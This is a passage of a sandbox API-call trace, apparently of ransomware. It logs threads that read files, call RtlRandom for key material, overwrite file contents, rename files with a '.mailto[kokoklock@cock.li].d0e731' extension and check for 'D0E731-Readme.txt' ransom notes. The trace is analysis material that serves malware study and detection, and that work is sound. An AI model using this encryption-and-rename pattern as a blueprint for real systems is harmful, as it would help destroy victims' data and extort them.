lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9c6fb78, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9c6fb78*=0x4096, lpOverlapped=0x0) returned 1 [0166.612] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4190 [0166.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.613] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9c6fb78, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9c6fb78*=0x4096, lpOverlapped=0x0) returned 1 [0166.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.613] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xff96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.613] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4190*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9c6fbb0, lpOverlapped=0x0 | out: lpBuffer=0x2fe4190*, lpNumberOfBytesWritten=0x9c6fbb0*=0x20, lpOverlapped=0x0) returned 1 [0166.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4190) returned 1 [0166.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.613] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4168*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9c6fbc4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4168*, lpNumberOfBytesWritten=0x9c6fbc4*=0x8, lpOverlapped=0x0) returned 1 [0166.613] WriteFile (in: hFile=0x528, lpBuffer=0x9c6fbdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9c6fbc4, lpOverlapped=0x0 | out: lpBuffer=0x9c6fbdc*, lpNumberOfBytesWritten=0x9c6fbc4*=0x4, lpOverlapped=0x0) returned 1 [0166.613] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9c6fbc4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9c6fbc4*=0x4, lpOverlapped=0x0) returned 1 [0166.614] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9c6fbc4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9c6fbc4*=0x6c, lpOverlapped=0x0) returned 1 [0166.614] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9c6fbc4, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x9c6fbc4*=0x20, lpOverlapped=0x0) returned 1 [0166.614] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9c6fbc4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9c6fbc4*=0x4, lpOverlapped=0x0) returned 1 [0166.614] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.614] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4140) returned 1 [0166.614] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4168) returned 1 [0166.614] CloseHandle (hObject=0x528) returned 1 [0166.614] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.614] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.614] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.615] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.615] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.616] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.616] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.616] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.616] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1042\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0166.616] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt" [0166.616] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\d0e731-readme.txt")) returned 0x20 [0166.616] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.616] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cd80) returned 1 [0166.616] RtlExitUserThread (Status=0x1) Thread: id = 1626 os_tid = 0x490 [0166.617] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.618] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.619] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.619] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9cefbd4 | out: lpFileSize=0x9cefbd4*=10317) returned 1 [0166.619] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x2849, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.619] ReadFile (in: hFile=0x528, lpBuffer=0x9cefba8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9cefba4, lpOverlapped=0x0 | out: lpBuffer=0x9cefba8*, lpNumberOfBytesRead=0x9cefba4*=0x4, lpOverlapped=0x0) returned 1 [0166.620] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.620] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.620] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.621] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4140 [0166.621] NtQuerySystemTime (in: CurrentTime=0x9cefb80 | out: CurrentTime=0x9cefb80*=132121213239386005) returned 0x0 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xb35b60d7 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xa316419b [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x4ee68799 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x6806431d [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xcdeb5211 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x8e2a1b09 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x71f7c1a3 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x908adbb2 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x29fdfd49 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x2384ef2a [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xeb669d94 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x27b91f83 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x924c82b9 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x27561e85 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x5d278755 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x44522a1 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x26013399 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xadfb7aba [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xc53bfd34 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xee0821a6 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x8c2b1164 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xe4bf6571 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x9c6145d5 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x5fd7b175 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xa697f42b [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xe8b69e8f [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xa4f89ab6 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x519df8bf [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x8e8f706f [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xd76dfadf [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0x240aa605 [0166.621] RtlRandom (in: Seed=0x9cefb8c | out: Seed=0x9cefb8c) returned 0xafafbd79 [0166.631] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4168 [0166.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4190 [0166.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.633] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x284d, lpNumberOfBytesRead=0x9cefb80, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9cefb80*=0x284d, lpOverlapped=0x0) returned 1 [0166.634] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9cefb48 | out: lpNewFilePointer=0x0) returned 1 [0166.634] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x284d, lpNumberOfBytesWritten=0x9cefb7c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9cefb7c*=0x284d, lpOverlapped=0x0) returned 1 [0166.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41b8 [0166.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.634] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.634] WriteFile (in: hFile=0x528, lpBuffer=0x2fe41b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9cefb78, lpOverlapped=0x0 | out: lpBuffer=0x2fe41b8*, lpNumberOfBytesWritten=0x9cefb78*=0x20, lpOverlapped=0x0) returned 1 [0166.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41b8) returned 1 [0166.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.635] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9cefba4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4190*, lpNumberOfBytesWritten=0x9cefba4*=0x8, lpOverlapped=0x0) returned 1 [0166.635] WriteFile (in: hFile=0x528, lpBuffer=0x9cefbbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9cefba4, lpOverlapped=0x0 | out: lpBuffer=0x9cefbbc*, lpNumberOfBytesWritten=0x9cefba4*=0x4, lpOverlapped=0x0) returned 1 [0166.635] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9cefba4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9cefba4*=0x4, lpOverlapped=0x0) returned 1 [0166.635] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9cefba4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9cefba4*=0x6c, lpOverlapped=0x0) returned 1 [0166.635] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9cefba4, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x9cefba4*=0x20, lpOverlapped=0x0) returned 1 [0166.635] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9cefba4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9cefba4*=0x4, lpOverlapped=0x0) returned 1 [0166.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4168) returned 1 [0166.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4190) returned 1 [0166.636] CloseHandle (hObject=0x528) returned 1 [0166.636] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.636] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.636] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.636] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.636] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.637] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.637] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.637] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.637] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1041\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0166.637] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt" [0166.637] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\d0e731-readme.txt")) returned 0x20 [0166.638] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.638] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe48e8) returned 1 [0166.638] RtlExitUserThread (Status=0x1) Thread: id = 1627 os_tid = 0x36c [0166.639] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.640] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.640] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.640] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9d6fb90 | out: lpFileSize=0x9d6fb90*=68418) returned 1 [0166.640] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x10b3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.640] ReadFile (in: hFile=0x528, lpBuffer=0x9d6fb64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9d6fb60, lpOverlapped=0x0 | out: lpBuffer=0x9d6fb64*, lpNumberOfBytesRead=0x9d6fb60*=0x4, lpOverlapped=0x0) returned 1 [0166.641] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.641] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.641] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.641] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4168 [0166.641] NtQuerySystemTime (in: CurrentTime=0x9d6fb3c | out: CurrentTime=0x9d6fb3c*=132121213239541992) returned 0x0 [0166.641] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x36fcbea [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x23c9cc42 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x5055fadc [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0xddb7c2ae [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x9f514c7d [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x6598e9b7 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x60cf6327 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x24fdaec1 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x24e9c6db [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0xe589ebee [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0xd7501cfe [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x352f562b [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0xca2b40a6 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x71ef38a7 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0xe165de46 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x6fa2f8ef [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x1dcaf8da [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x3d3a6804 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x610783f1 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0xa15ab5be [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x1ab6bc52 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x903d3c9c [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x7487d63b [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0xf9a9de5f [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x6bc7cebb [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0xb415a9cb [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x2d1be578 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x730634d8 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0xa310fb43 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0x54231bb0 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0xcb583704 [0166.642] RtlRandom (in: Seed=0x9d6fb48 | out: Seed=0x9d6fb48) returned 0xc16b2444 [0166.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4190 [0166.654] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.654] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41b8 [0166.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.654] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.654] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.654] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9d6fb14, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9d6fb14*=0x4096, lpOverlapped=0x0) returned 1 [0166.655] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.655] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.655] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.655] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.655] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.655] RtlAllocateHeap 